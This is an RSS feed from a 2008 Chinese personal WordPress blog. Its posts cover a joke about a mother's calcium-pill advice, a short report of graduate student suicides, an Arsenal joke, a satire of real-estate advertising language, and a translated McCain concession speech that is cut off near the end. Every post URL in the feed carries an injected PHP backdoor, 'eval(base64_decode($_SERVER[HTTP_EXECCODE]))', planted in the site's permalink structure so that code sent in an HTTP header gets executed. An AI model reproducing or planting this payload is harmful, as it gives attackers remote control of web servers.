<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Jawley.com</title>
	<atom:link href="http://jawley.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://jawley.com</link>
	<description></description>
	<pubDate>Sun, 14 Dec 2008 17:23:19 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.2</generator>
	<language>en</language>
			<item>
		<title>天下的老妈都一样啊</title>
		<link>http://jawley.com/2008/12/14/%e5%a4%a9%e4%b8%8b%e7%9a%84%e8%80%81%e5%a6%88%e9%83%bd%e4%b8%80%e6%a0%b7%e5%95%8a/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://jawley.com/2008/12/14/%e5%a4%a9%e4%b8%8b%e7%9a%84%e8%80%81%e5%a6%88%e9%83%bd%e4%b8%80%e6%a0%b7%e5%95%8a/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 14 Dec 2008 17:16:25 +0000</pubDate>
		<dc:creator>Jawley</dc:creator>
		
		<category><![CDATA[Blah Blah Blah]]></category>

		<guid isPermaLink="false">http://jawley.com/?p=198</guid>
		<description><![CDATA[via 宇宙无敌超级大美女&#8217;s blog
星期一跟我妈通电话，我妈说要记得吃钙片啊。
星期二跟我妈通电话，我妈说要记得吃钙片啊。
星期三跟我妈通电话，我妈说要记得吃钙片啊。
星期四跟我妈通电话，我说我不想吃钙片了，吃了N久手指甲还是一样的断。钙片这种东西终究是人工合成的，还不如多吃猪肉喝骨头汤来的有用。当然，我只是说说而已。说完我就后悔了，我应该等她说完要记得吃钙片然后答应不会忘记就好的。不该一上去就摸老虎屁股说自己不想吃钙片。。。。
星期五跟我妈通电话，一接通电话，我妈就说她最近看了个科学讲座，有个教授对保健是如何如何有心得。教授说要怎么怎么样，她就怎么怎么样。教授说不要怎么怎么样，她就没有怎么怎么样。成果就是我妈觉得最近精神特别好，气色特别棒。朋友都夸她皮肤白里透红与众不同。我妈那智商，她一开口说讲座我就知道大事不好。耐心的等她铺垫了半个小时，终于等到这位牛B的教授说到钙片的重要性了。电话的结尾，我跟我妈哭着说我也觉得饭吃的再好，汤喝的再多，我也要吃钙片，因为钙片的作用是不可代替的！
星期六跟我妈通电话，我说我都有记得吃钙片＝口＝！
]]></description>
			<content:encoded><![CDATA[<p>via <a href="http://bright4xu.spaces.live.com/" target="_blank">宇宙无敌超级大美女&#8217;s blog</a></p>
<hr width="200" align="left" size="1" />星期一跟我妈通电话，我妈说要记得吃钙片啊。</p>
<p>星期二跟我妈通电话，我妈说要记得吃钙片啊。</p>
<p>星期三跟我妈通电话，我妈说要记得吃钙片啊。</p>
<p>星期四跟我妈通电话，我说我不想吃钙片了，吃了N久手指甲还是一样的断。钙片这种东西终究是人工合成的，还不如多吃猪肉喝骨头汤来的有用。当然，我只是说说而已。说完我就后悔了，我应该等她说完要记得吃钙片然后答应不会忘记就好的。不该一上去就摸老虎屁股说自己不想吃钙片。。。。</p>
<p>星期五跟我妈通电话，一接通电话，我妈就说她最近看了个科学讲座，有个教授对保健是如何如何有心得。教授说要怎么怎么样，她就怎么怎么样。教授说不要怎么怎么样，她就没有怎么怎么样。成果就是我妈觉得最近精神特别好，气色特别棒。朋友都夸她皮肤白里透红与众不同。我妈那智商，她一开口说讲座我就知道大事不好。耐心的等她铺垫了半个小时，终于等到这位牛B的教授说到钙片的重要性了。电话的结尾，我跟我妈哭着说我也觉得饭吃的再好，汤喝的再多，我也要吃钙片，因为钙片的作用是不可代替的！</p>
<p>星期六跟我妈通电话，我说我都有记得吃钙片＝口＝！</p>
]]></content:encoded>
			<wfw:commentRss>http://jawley.com/2008/12/14/%e5%a4%a9%e4%b8%8b%e7%9a%84%e8%80%81%e5%a6%88%e9%83%bd%e4%b8%80%e6%a0%b7%e5%95%8a/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>踏出去之前，想想父母</title>
		<link>http://jawley.com/2008/12/05/%e5%8c%97%e5%b8%88%e5%a4%a7%e7%9a%84%e6%96%b0%e7%a0%94%e7%a9%b6%e7%94%9f%e6%a5%bc%e6%9c%89%e4%ba%ba%e8%b7%b3%e6%a5%bc%e8%ba%ab%e4%ba%a1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://jawley.com/2008/12/05/%e5%8c%97%e5%b8%88%e5%a4%a7%e7%9a%84%e6%96%b0%e7%a0%94%e7%a9%b6%e7%94%9f%e6%a5%bc%e6%9c%89%e4%ba%ba%e8%b7%b3%e6%a5%bc%e8%ba%ab%e4%ba%a1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 05 Dec 2008 05:27:50 +0000</pubDate>
		<dc:creator>Jawley</dc:creator>
		
		<category><![CDATA[Blah Blah Blah]]></category>

		<guid isPermaLink="false">http://jawley.com/?p=191</guid>
		<description><![CDATA[今天早晨，师大学十六楼有人跳楼身亡。死者是研一女生，新疆的，很清秀很漂亮。性格开朗，是学校棒垒球社的负责人。据说死者留有遗书，称导师所给任务太多压力太大。但很多人怀疑这是校方的托辞。
Update 12/8:
今天清华电子系26号楼也跳了一个男生，也是研一。
]]></description>
			<content:encoded><![CDATA[<p>今天早晨，师大学十六楼有人跳楼身亡。死者是研一女生，新疆的，很清秀很漂亮。性格开朗，是学校棒垒球社的负责人。据说死者留有遗书，称导师所给任务太多压力太大。但很多人怀疑这是校方的托辞。<br />
Update 12/8:<br />
今天清华电子系26号楼也跳了一个男生，也是研一。</p>
]]></content:encoded>
			<wfw:commentRss>http://jawley.com/2008/12/05/%e5%8c%97%e5%b8%88%e5%a4%a7%e7%9a%84%e6%96%b0%e7%a0%94%e7%a9%b6%e7%94%9f%e6%a5%bc%e6%9c%89%e4%ba%ba%e8%b7%b3%e6%a5%bc%e8%ba%ab%e4%ba%a1/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>加拉说了算</title>
		<link>http://jawley.com/2008/12/01/%e5%8a%a0%e6%8b%89%e8%af%b4%e4%ba%86%e7%ae%97/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://jawley.com/2008/12/01/%e5%8a%a0%e6%8b%89%e8%af%b4%e4%ba%86%e7%ae%97/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 01 Dec 2008 20:28:04 +0000</pubDate>
		<dc:creator>Jawley</dc:creator>
		
		<category><![CDATA[Gooner till I Die]]></category>

		<guid isPermaLink="false">http://jawley.com/?p=178</guid>
		<description><![CDATA[昨天正式投出了第一份申请，正逢阿森纳客场胜切尔西，心情甚好。
论坛上有人问：打曼联，纳斯里梅开二度；打车子，范佩西梅开二度。下次打利物浦，该谁梅开二度了？一时间众说纷纭，有说阿德的，有说小法的，还有说阿穆尼亚的。忽然一位老兄语出惊人：
加拉说：有人在国家队不屌我，目无尊长，名字S打头的，结果纳斯里打曼联进两个；
加拉又说：有人在更衣室不和谐，所有人都讨厌他，比我小六岁，结果打切尔西小范进两个；
所以，还是得加拉说了算。
众人皆服。
]]></description>
			<content:encoded><![CDATA[<p>昨天正式投出了第一份申请，正逢阿森纳客场胜切尔西，心情甚好。</p>
<p><a href="http://bbs.arsenal.com.cn/">论坛</a>上有人问：打曼联，纳斯里梅开二度；打车子，范佩西梅开二度。下次打利物浦，该谁梅开二度了？一时间众说纷纭，有说阿德的，有说小法的，还有说阿穆尼亚的。忽然一位老兄<a href="http://bbs.arsenal.com.cn/redirect.php?goto=findpost&#038;pid=6169927&#038;ptid=171392">语出惊人</a>：</p>
<blockquote><p>加拉说：有人在国家队不屌我，目无尊长，名字S打头的，结果纳斯里打曼联进两个；<br />
加拉又说：有人在更衣室不和谐，所有人都讨厌他，比我小六岁，结果打切尔西小范进两个；<br />
所以，还是得加拉说了算。</p></blockquote>
<p>众人皆服。</p>
]]></content:encoded>
			<wfw:commentRss>http://jawley.com/2008/12/01/%e5%8a%a0%e6%8b%89%e8%af%b4%e4%ba%86%e7%ae%97/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>子说：房地产忽悠大全</title>
		<link>http://jawley.com/2008/11/19/%e5%ad%90%e8%af%b4%ef%bc%9a%e6%88%bf%e5%9c%b0%e4%ba%a7%e5%bf%bd%e6%82%a0%e5%a4%a7%e5%85%a8/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://jawley.com/2008/11/19/%e5%ad%90%e8%af%b4%ef%bc%9a%e6%88%bf%e5%9c%b0%e4%ba%a7%e5%bf%bd%e6%82%a0%e5%a4%a7%e5%85%a8/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 19:43:17 +0000</pubDate>
		<dc:creator>Jawley</dc:creator>
		
		<category><![CDATA[Blah Blah Blah]]></category>

		<guid isPermaLink="false">http://jawley.com/?p=174</guid>
		<description><![CDATA[via 子说
偏远地段——远离闹市喧嚣，尽享静谧人生
郊区乡镇——回归自然，享受田园风光
紧邻闹市——坐拥城市繁华
挨着臭水沟——绝版水岸名邸，上风上水
挖个水池子——东方威尼斯，演绎浪漫风情
地势高——视野开阔，俯瞰全城
地势低洼——私属领地，冬暖夏凉
楼顶是圆的——巴洛克风格
楼顶是尖的——哥特式风格
户型很烂——个性化户型设计，紧跟时尚潮流
楼间距小——邻里亲近，和谐温馨
边上是荒草地——超大绿化，满眼绿意
边上有家银行——紧邻中央商务区
边上有个居委会—中心政务区核心地标
边上有家学校——浓厚人文学术氛围
边上有家诊所——拥抱健康，安享惬意
边上有家小卖店——便利生活触手可及
边上有个垃圾站——人性化环境管理
边上有火车道——交通便利，四通八达
边上什么也没有——简约生活，闲适安逸
]]></description>
			<content:encoded><![CDATA[<p>via <a href="http://zishuo.com/2008/11/19/405.html" target="_blank">子说</a></p>
<p>偏远地段——远离闹市喧嚣，尽享静谧人生<br />
郊区乡镇——回归自然，享受田园风光<br />
紧邻闹市——坐拥城市繁华<br />
挨着臭水沟——绝版水岸名邸，上风上水<br />
挖个水池子——东方威尼斯，演绎浪漫风情<br />
地势高——视野开阔，俯瞰全城<br />
地势低洼——私属领地，冬暖夏凉<br />
楼顶是圆的——巴洛克风格<br />
楼顶是尖的——哥特式风格<br />
户型很烂——个性化户型设计，紧跟时尚潮流<br />
楼间距小——邻里亲近，和谐温馨<br />
边上是荒草地——超大绿化，满眼绿意<br />
边上有家银行——紧邻中央商务区<br />
边上有个居委会—中心政务区核心地标<br />
边上有家学校——浓厚人文学术氛围<br />
边上有家诊所——拥抱健康，安享惬意<br />
边上有家小卖店——便利生活触手可及<br />
边上有个垃圾站——人性化环境管理<br />
边上有火车道——交通便利，四通八达<br />
边上什么也没有——简约生活，闲适安逸</p>
]]></content:encoded>
			<wfw:commentRss>http://jawley.com/2008/11/19/%e5%ad%90%e8%af%b4%ef%bc%9a%e6%88%bf%e5%9c%b0%e4%ba%a7%e5%bf%bd%e6%82%a0%e5%a4%a7%e5%85%a8/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>郭建龙：凭什么要吃</title>
		<link>http://jawley.com/2008/11/17/%e9%83%ad%e5%bb%ba%e9%be%99%ef%bc%9a%e5%87%ad%e4%bb%80%e4%b9%88%e8%a6%81%e5%90%83/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://jawley.com/2008/11/17/%e9%83%ad%e5%bb%ba%e9%be%99%ef%bc%9a%e5%87%ad%e4%bb%80%e4%b9%88%e8%a6%81%e5%90%83/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 17 Nov 2008 15:27:27 +0000</pubDate>
		<dc:creator>Jawley</dc:creator>
		
		<category><![CDATA[Blah Blah Blah]]></category>

		<guid isPermaLink="false">http://jawley.com/?p=171</guid>
		<description><![CDATA[《21世纪经济报道》记者郭建龙：《关于百度报道的看法》
我们的媒体基本上做的事情就是：
政zf府拉了泡屎，说，吃掉；
媒体就开始讨论，是炒着吃还是炸着吃；
但是没有人敢争议为什么要吃，凭什么要吃。
]]></description>
			<content:encoded><![CDATA[<p>《21世纪经济报道》记者郭建龙：<a href="http://www.cnbeta.com/articles/69943.htm?f=tw" target="_blank">《关于百度报道的看法》</a></p>
<blockquote><p>我们的媒体基本上做的事情就是：</p>
<p>政zf府拉了泡屎，说，吃掉；<br />
媒体就开始讨论，是炒着吃还是炸着吃；<br />
但是没有人敢争议为什么要吃，凭什么要吃。</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://jawley.com/2008/11/17/%e9%83%ad%e5%bb%ba%e9%be%99%ef%bc%9a%e5%87%ad%e4%bb%80%e4%b9%88%e8%a6%81%e5%90%83/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>麦凯恩的败选演说</title>
		<link>http://jawley.com/2008/11/05/%e9%ba%a6%e5%87%af%e6%81%a9%e7%9a%84%e8%b4%a5%e9%80%89%e6%bc%94%e8%af%b4/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://jawley.com/2008/11/05/%e9%ba%a6%e5%87%af%e6%81%a9%e7%9a%84%e8%b4%a5%e9%80%89%e6%bc%94%e8%af%b4/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 06 Nov 2008 04:23:55 +0000</pubDate>
		<dc:creator>Jawley</dc:creator>
		
		<category><![CDATA[Blah Blah Blah]]></category>

		<guid isPermaLink="false">http://jawley.com/?p=162</guid>
		<description><![CDATA[这是一次没有多少悬念的大选。当全世界的目光都集中在芝加哥的时候，却很少有人关注亚利桑那的大峡谷——麦凯恩的家乡。在他当年举行婚礼的酒店里，麦凯恩发表了一篇令人潸然泪下的败选演说，承认失败。麦凯恩已经年过七旬，与奥巴马的父亲同年。对这位越战英雄来说，这次竞选，可能是他政治生涯中最后的辉煌机会。我能理解这对他来说有多么重要，但是相比于胜负，还有更高贵的东西存在。推荐各位一读。
演说译文 (Jawley 版)
谢谢。谢谢，我的朋友们。谢谢你们在这个美丽的亚利桑那的夜晚来到这里。我的朋友们，我们已经——已经走到了从这次长征的终点。美国人民已经表了态，清楚地表了态。就在刚才，我荣幸地打电话给巴拉克·奥巴马参议员，祝贺他，（示意听众停止嘘声），祝贺他当选为这个我们同样热爱的国家的新总统。
这次大选如此漫长而又艰辛，他的胜利本身就已经足够赢得我对他能力与毅力的尊重。况且，他是通过唤醒成千上万美国人的希望而当选，这些人原先曾错误地以为自己在美国总统的选举中无足轻重。这一成就令我深深敬佩和赞赏。
这是一次历史性的选举，我清楚这次选举对于非洲裔美国人的特殊意义，今晚这个特别的荣耀必定属于他们。
我始终相信，美国为所有勤奋和愿意抓住机遇的人提供机遇。奥巴马参议员也相信这一点。但是我们也都承认，从前的不公正曾经让我们的国家蒙羞，有一些美国人得不到美国公民应得的祝福。虽然我们已经远离这些不公，然而它们留下的记忆还在伤害我们。
一个世纪前，西奥多·罗斯福总统邀请黑人教育家布克·T·华盛顿到白宫共进晚餐，这件事情曾引起众怒。今天的美国已经远离了那个时代残忍而傲慢的偏 执。今晚，一个非洲裔美国人当选为美国总统，就是最好的证明。现在，作为世界上最伟大国家的公民，任何一个美国人都没有有理由自暴自弃了。
奥巴马参议员已经为他自己、为他的国家赢得了最伟大的东西。我为他喝彩，同时也致以我诚挚的同情，因为他所爱戴的外祖母没有能够活着看到这一天。但我们的信念告诉我们，她正在她的上帝身边安息，她会为这位亲手抚养长大的好孩子感到自豪。
奥巴马参议员与我有过分歧，进行过争论，而且他赢了。毫无疑问，许多分歧仍然存在。但是我们的国家目前正处在困难之中，今天晚上，我向他保证，我将会尽我的全力来帮助他，让他领导我们一起，克服我们所面对的诸多困局。
我呼吁所有支持我的美国人，跟我一起，不仅是跟我一起祝贺他，也要跟我一起祝福新总统，一起真诚努力，团结一心，在我们的分歧中寻求必要的妥协，一 起恢复我们的繁荣，一起在危险的世界上捍卫我们的安全，留给给我们的子孙一个更强大、更美好的国家，比我们从前辈手里继承的那个更好。
无论我们有什么分歧，我们都是美国同胞。请相信我的话：对我来说，没有什么联系比这更重要。
自然，自然，今晚，令人有些失望。但是明天，我们必须越过失望，继续前行。携手工作，让我们的国家重新前进。去奋斗……去奋斗，用尽我们的全力。虽然我们没有达到目标，但失败的只是我，不是你们。
我深深地感激大家，感谢你们的支持，感谢你们为我做的一切，这是我最大的荣幸。我多么希望结果不是这样，我的朋友们。这条道路从一开始就充满了艰辛，但是你们的支持和友谊从没有动摇过。我欠你们太多了，我实在不知道该如何表达。
我尤其感谢我的妻子辛迪、我的孩子们、我亲爱的母亲和所有家庭成员，还有许许多多亲爱的老朋友们，你们在漫长而跌宕起伏的竞选过程中一直站在我身边。我一直是个幸运的人，但是你们给我的爱和鼓励，是让我最感幸运的。
大家知道，竞选对于候选人的家庭往往更残酷，这次也确实如此。我能补偿你们的，只有我的爱与感激，还有我向你们承诺，未来会有一些平静的日子。
还有，当然，我也非常感谢莎拉·佩林州长，她是我见过的最好的竞选伙伴之一，她给我们党的改革和原则带来的新的声音，令人印象深刻，一直是我们最强 大的力量之一。谢谢她的丈夫托德和他们 5个漂亮的孩子，在这次总统竞选中为我们不知疲倦地奉献，展示了勇气和风度。我们可以满心期待她未来更好地为阿拉斯加、为共和党和我们的国家服务。
谢谢我的竞选伙伴们，从里克·戴维斯、史蒂夫·施密特、马克·萨尔特，到所有的志愿者，你们在这场也许是当代最具挑战性的选举中，所有如此努力奋斗，一个月又一个月。深深感谢你们。选举的失败，与你们的信任以及友情相比，根本算不了什么。
我不知道——我不知道我们还要做什么才能赢得这场选举。这个问题留给别人去回答吧。每一位候选人都会犯下错误，我可以肯定我也不例外，但我不会去想“我本可以如何”，把未来的时间浪费在遗憾中。
这次选举是我人生中的巨大荣幸，未来也是。我的心中只有感激，感激这份经历，感激美国人民在选择奥巴马参议员以及我的老朋友乔·拜登参议员来领导我们的下一个四年之前，公平地倾听了我的观点。
非常荣幸，命运允许我为这个国家服务半个世纪之久。如果我对此感到遗憾的话，就不配做美国人。今天，我曾是我所热爱的这个国家最高职位的候选人。而今夜，我仍是她的仆人。这对任何人来说，都是足够幸福的事情了。为此，我感谢亚利桑那人民。
今夜——今夜，我心中只有爱，比其它任何一个夜晚都更深地热爱这个国家，热爱全体国民，无论他们支持我还是奥巴马参议员。我把祝福送给那个曾经是我对手、将要成为我的总统的人。
我呼吁所有美国人，就像我在竞选中经常呼吁的那样，不要因我们眼前的困难而绝望，要永远信仰美国的未来与伟大，因为这里没有克服不了的困难。
美国人永远不会放弃。我们决不投降。我们从不逃避历史，我们创造历史。
谢谢，上帝祝福你们，上帝祝福美国。深深感谢你们所有人。
John McCain&#8217;s Concession Speech
Thank you. Thank you, my friends. Thank you for coming here on this beautiful Arizona evening. My friends, we have &#8212; we have come to the end of a long journey. The American people have spoken, and they have spoken clearly. A little while ago, I [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-167" style="float:right;margin-left:12px;margin-bottom:12px;" title="John McCain" src="http://jawley.com/wp-content/uploads/2008/11/200811051524499dc93.jpg" alt="" width="240" height="336" />这是一次没有多少悬念的大选。当全世界的目光都集中在芝加哥的时候，却很少有人关注亚利桑那的大峡谷——麦凯恩的家乡。在他当年举行婚礼的酒店里，麦凯恩发表了<a href="http://www.johnmccain.com/Informing/News/Speeches/Read.aspx?guid=6d126e21-5857-40c3-96e2-4f504e27e22c" target="_blank">一篇令人潸然泪下的败选演说</a>，承认失败。麦凯恩已经年过七旬，与奥巴马的父亲同年。对这位越战英雄来说，这次竞选，可能是他政治生涯中最后的辉煌机会。我能理解这对他来说有多么重要，但是相比于胜负，还有更高贵的东西存在。推荐各位一读。</p>
<p>演说译文 (Jawley 版)</p>
<p>谢谢。谢谢，我的朋友们。谢谢你们在这个美丽的亚利桑那的夜晚来到这里。我的朋友们，我们已经——已经走到了从这次长征的终点。美国人民已经表了态，清楚地表了态。就在刚才，我荣幸地打电话给巴拉克·奥巴马参议员，祝贺他，（示意听众停止嘘声），祝贺他当选为这个我们同样热爱的国家的新总统。</p>
<p>这次大选如此漫长而又艰辛，他的胜利本身就已经足够赢得我对他能力与毅力的尊重。况且，他是通过唤醒成千上万美国人的希望而当选，这些人原先曾错误地以为自己在美国总统的选举中无足轻重。这一成就令我深深敬佩和赞赏。</p>
<p>这是一次历史性的选举，我清楚这次选举对于非洲裔美国人的特殊意义，今晚这个特别的荣耀必定属于他们。</p>
<p>我始终相信，美国为所有勤奋和愿意抓住机遇的人提供机遇。奥巴马参议员也相信这一点。但是我们也都承认，从前的不公正曾经让我们的国家蒙羞，有一些美国人得不到美国公民应得的祝福。虽然我们已经远离这些不公，然而它们留下的记忆还在伤害我们。</p>
<p>一个世纪前，西奥多·罗斯福总统邀请黑人教育家布克·T·华盛顿到白宫共进晚餐，这件事情曾引起众怒。今天的美国已经远离了那个时代残忍而傲慢的偏 执。今晚，一个非洲裔美国人当选为美国总统，就是最好的证明。现在，作为世界上最伟大国家的公民，任何一个美国人都没有有理由自暴自弃了。</p>
<p>奥巴马参议员已经为他自己、为他的国家赢得了最伟大的东西。我为他喝彩，同时也致以我诚挚的同情，因为他所爱戴的外祖母没有能够活着看到这一天。但我们的信念告诉我们，她正在她的上帝身边安息，她会为这位亲手抚养长大的好孩子感到自豪。</p>
<p>奥巴马参议员与我有过分歧，进行过争论，而且他赢了。毫无疑问，许多分歧仍然存在。但是我们的国家目前正处在困难之中，今天晚上，我向他保证，我将会尽我的全力来帮助他，让他领导我们一起，克服我们所面对的诸多困局。</p>
<p>我呼吁所有支持我的美国人，跟我一起，不仅是跟我一起祝贺他，也要跟我一起祝福新总统，一起真诚努力，团结一心，在我们的分歧中寻求必要的妥协，一 起恢复我们的繁荣，一起在危险的世界上捍卫我们的安全，留给给我们的子孙一个更强大、更美好的国家，比我们从前辈手里继承的那个更好。</p>
<p>无论我们有什么分歧，我们都是美国同胞。请相信我的话：对我来说，没有什么联系比这更重要。</p>
<p>自然，自然，今晚，令人有些失望。但是明天，我们必须越过失望，继续前行。携手工作，让我们的国家重新前进。去奋斗……去奋斗，用尽我们的全力。虽然我们没有达到目标，但失败的只是我，不是你们。</p>
<p>我深深地感激大家，感谢你们的支持，感谢你们为我做的一切，这是我最大的荣幸。我多么希望结果不是这样，我的朋友们。这条道路从一开始就充满了艰辛，但是你们的支持和友谊从没有动摇过。我欠你们太多了，我实在不知道该如何表达。</p>
<p><span id="more-162"></span>我尤其感谢我的妻子辛迪、我的孩子们、我亲爱的母亲和所有家庭成员，还有许许多多亲爱的老朋友们，你们在漫长而跌宕起伏的竞选过程中一直站在我身边。我一直是个幸运的人，但是你们给我的爱和鼓励，是让我最感幸运的。</p>
<p>大家知道，竞选对于候选人的家庭往往更残酷，这次也确实如此。我能补偿你们的，只有我的爱与感激，还有我向你们承诺，未来会有一些平静的日子。</p>
<p>还有，当然，我也非常感谢莎拉·佩林州长，她是我见过的最好的竞选伙伴之一，她给我们党的改革和原则带来的新的声音，令人印象深刻，一直是我们最强 大的力量之一。谢谢她的丈夫托德和他们 5个漂亮的孩子，在这次总统竞选中为我们不知疲倦地奉献，展示了勇气和风度。我们可以满心期待她未来更好地为阿拉斯加、为共和党和我们的国家服务。</p>
<p>谢谢我的竞选伙伴们，从里克·戴维斯、史蒂夫·施密特、马克·萨尔特，到所有的志愿者，你们在这场也许是当代最具挑战性的选举中，所有如此努力奋斗，一个月又一个月。深深感谢你们。选举的失败，与你们的信任以及友情相比，根本算不了什么。</p>
<p>我不知道——我不知道我们还要做什么才能赢得这场选举。这个问题留给别人去回答吧。每一位候选人都会犯下错误，我可以肯定我也不例外，但我不会去想“我本可以如何”，把未来的时间浪费在遗憾中。</p>
<p>这次选举是我人生中的巨大荣幸，未来也是。我的心中只有感激，感激这份经历，感激美国人民在选择奥巴马参议员以及我的老朋友乔·拜登参议员来领导我们的下一个四年之前，公平地倾听了我的观点。</p>
<p>非常荣幸，命运允许我为这个国家服务半个世纪之久。如果我对此感到遗憾的话，就不配做美国人。今天，我曾是我所热爱的这个国家最高职位的候选人。而今夜，我仍是她的仆人。这对任何人来说，都是足够幸福的事情了。为此，我感谢亚利桑那人民。</p>
<p>今夜——今夜，我心中只有爱，比其它任何一个夜晚都更深地热爱这个国家，热爱全体国民，无论他们支持我还是奥巴马参议员。我把祝福送给那个曾经是我对手、将要成为我的总统的人。</p>
<p>我呼吁所有美国人，就像我在竞选中经常呼吁的那样，不要因我们眼前的困难而绝望，要永远信仰美国的未来与伟大，因为这里没有克服不了的困难。</p>
<p>美国人永远不会放弃。我们决不投降。我们从不逃避历史，我们创造历史。</p>
<p>谢谢，上帝祝福你们，上帝祝福美国。深深感谢你们所有人。</p>
<p>John McCain&#8217;s Concession Speech</p>
<p>Thank you. Thank you, my friends. Thank you for coming here on this beautiful Arizona evening. My friends, we have &#8212; we have come to the end of a long journey. The American people have spoken, and they have spoken clearly. A little while ago, I had the honor of calling Sen. Barack Obama to congratulate him &#8212; please (stop booing) &#8212; to congratulate him on being elected the next president of the country that we both love.</p>
<p>In a contest as long and difficult as this campaign has been, his success alone commands my respect for his ability and perseverance. But that he managed to do so by inspiring the hopes of so many millions of Americans who had once wrongly believed that they had little at stake or little influence in the election of an American president is something I deeply admire and commend him for achieving.</p>
<p>This is an historic election, and I recognize the special significance it has for African-Americans and for the special pride that must be theirs tonight.</p>
<p>I&#8217;ve always believed that America offers opportunities to all who have the industry and will to seize it. Sen. Obama believes that, too. But we both recognize that, though we have come a long way from the old injustices that once stained our nation&#8217;s reputation and denied some Americans the full blessings of American citizenship, the memory of them still had the power to wound.</p>
<p>A century ago, President Theodore Roosevelt&#8217;s invitation of Booker T. Washington to dine at the White House was taken as an outrage in many quarters. America today is a world away from the cruel and prideful bigotry of that time. There is no better evidence of this than the election of an African American to the presidency of the United States. Let there be no reason now for any American to fail to cherish their citizenship in this, the greatest nation on Earth.</p>
<p>Senator Obama has achieved a great thing for himself and for his country. I applaud him for it, and offer in my sincere sympathy that his beloved grandmother did not live to see this day, though our faith assures us she is at rest in the presence of her creator and so very proud of the good man she helped raise.</p>
<p>Senator Obama and I have had and argued our differences, and he has prevailed. No doubt many of those differences remain. These are difficult times for our country, and I pledge to him tonight to do all in my power to help him lead us through the many challenges we face.</p>
<p>I urge all Americans who supported me to join me in not just congratulating him, but offering our next president our good will and earnest effort to find ways to come together to find the necessary compromises to bridge our differences and help restore our prosperity, defend our security in a dangerous world, and leave our children and grandchildren a stronger, better country than we inherited.</p>
<p>Whatever our differences, we are fellow Americans. And please believe me when I say no association has ever meant more to me than that.</p>
<p>It is natural. It&#8217;s natural, tonight, to feel some disappointment. But tomorrow, we must move beyond it and work together to get our country moving again.  We fought as hard as we could. We fought &#8212; we fought as hard as we could. And though we fell short, the failure is mine, not yours.</p>
<p>I am so deeply grateful to all of you for the great honor of your support and for all you have done for me. I wish the outcome had been different, my friends. The road was a difficult one from the outset. But your support and friendship never wavered. I cannot adequately express how deeply indebted I am to you.</p>
<p>I am especially grateful to my wife, Cindy, my children, my dear mother and all my family and to the many old and dear friends who have stood by my side through the many ups and downs of this long campaign. I have always been a fortunate man, and never more so for the love and encouragement you have given me.</p>
<p>You know, campaigns are often harder on a candidate&#8217;s family than on the candidate, and that&#8217;s been true in this campaign. All I can offer in compensation is my love and gratitude, and the promise of more peaceful years ahead.</p>
<p>I am also, of course, very thankful to Governor Sarah Palin, one of the best campaigners I have ever seen and an impressive new voice in our party for reform and the principles that have always been our greatest strength. Her husband Todd and their five beautiful children with their tireless dedication to our cause, and the courage and grace they showed in the rough-and-tumble of a presidential campaign. We can all look forward with great interest to her future service to Alaska, the Republican Party and our country.</p>
<p>To all my campaign comrades, from Rick Davis and Steve Schmidt and Mark Salter, to every last volunteer who fought so hard and valiantly month after month in what at times seemed to be the most challenged campaign in modern times, thank you so much. A lost election will never mean more to me than the privilege of your faith and friendship.</p>
<p>I don&#8217;t know &#8211;I don&#8217;t know what more we could have done to try to win this election. I&#8217;ll leave that to others to determine. Every candidate makes mistakes, and I&#8217;m sure I made my share of them. But I won&#8217;t spend a moment of the future regretting what might have been.</p>
<p>This campaign was and will remain the great honor of my life. And my heart is filled with nothing but gratitude for the experience and to the American people for giving me a fair hearing before deciding that Senator Obama and my old friend Senator Joe Biden should have the honor of leading us for the next four years.</p>
<p>I would not be an American worthy of the name, should I regret a fate that has allowed me the extraordinary privilege of serving this country for a half a century. Today, I was a candidate for the highest office in the country I love so much. And tonight, I remain her servant. That is blessing enough for anyone and I thank the people of Arizona for it.</p>
<p>Tonight &#8212; tonight, more than any night, I hold in my heart nothing but love for this country and for all its citizens, whether they supported me or Senator Obama, I wish Godspeed to the man who was my former opponent and will be my president.</p>
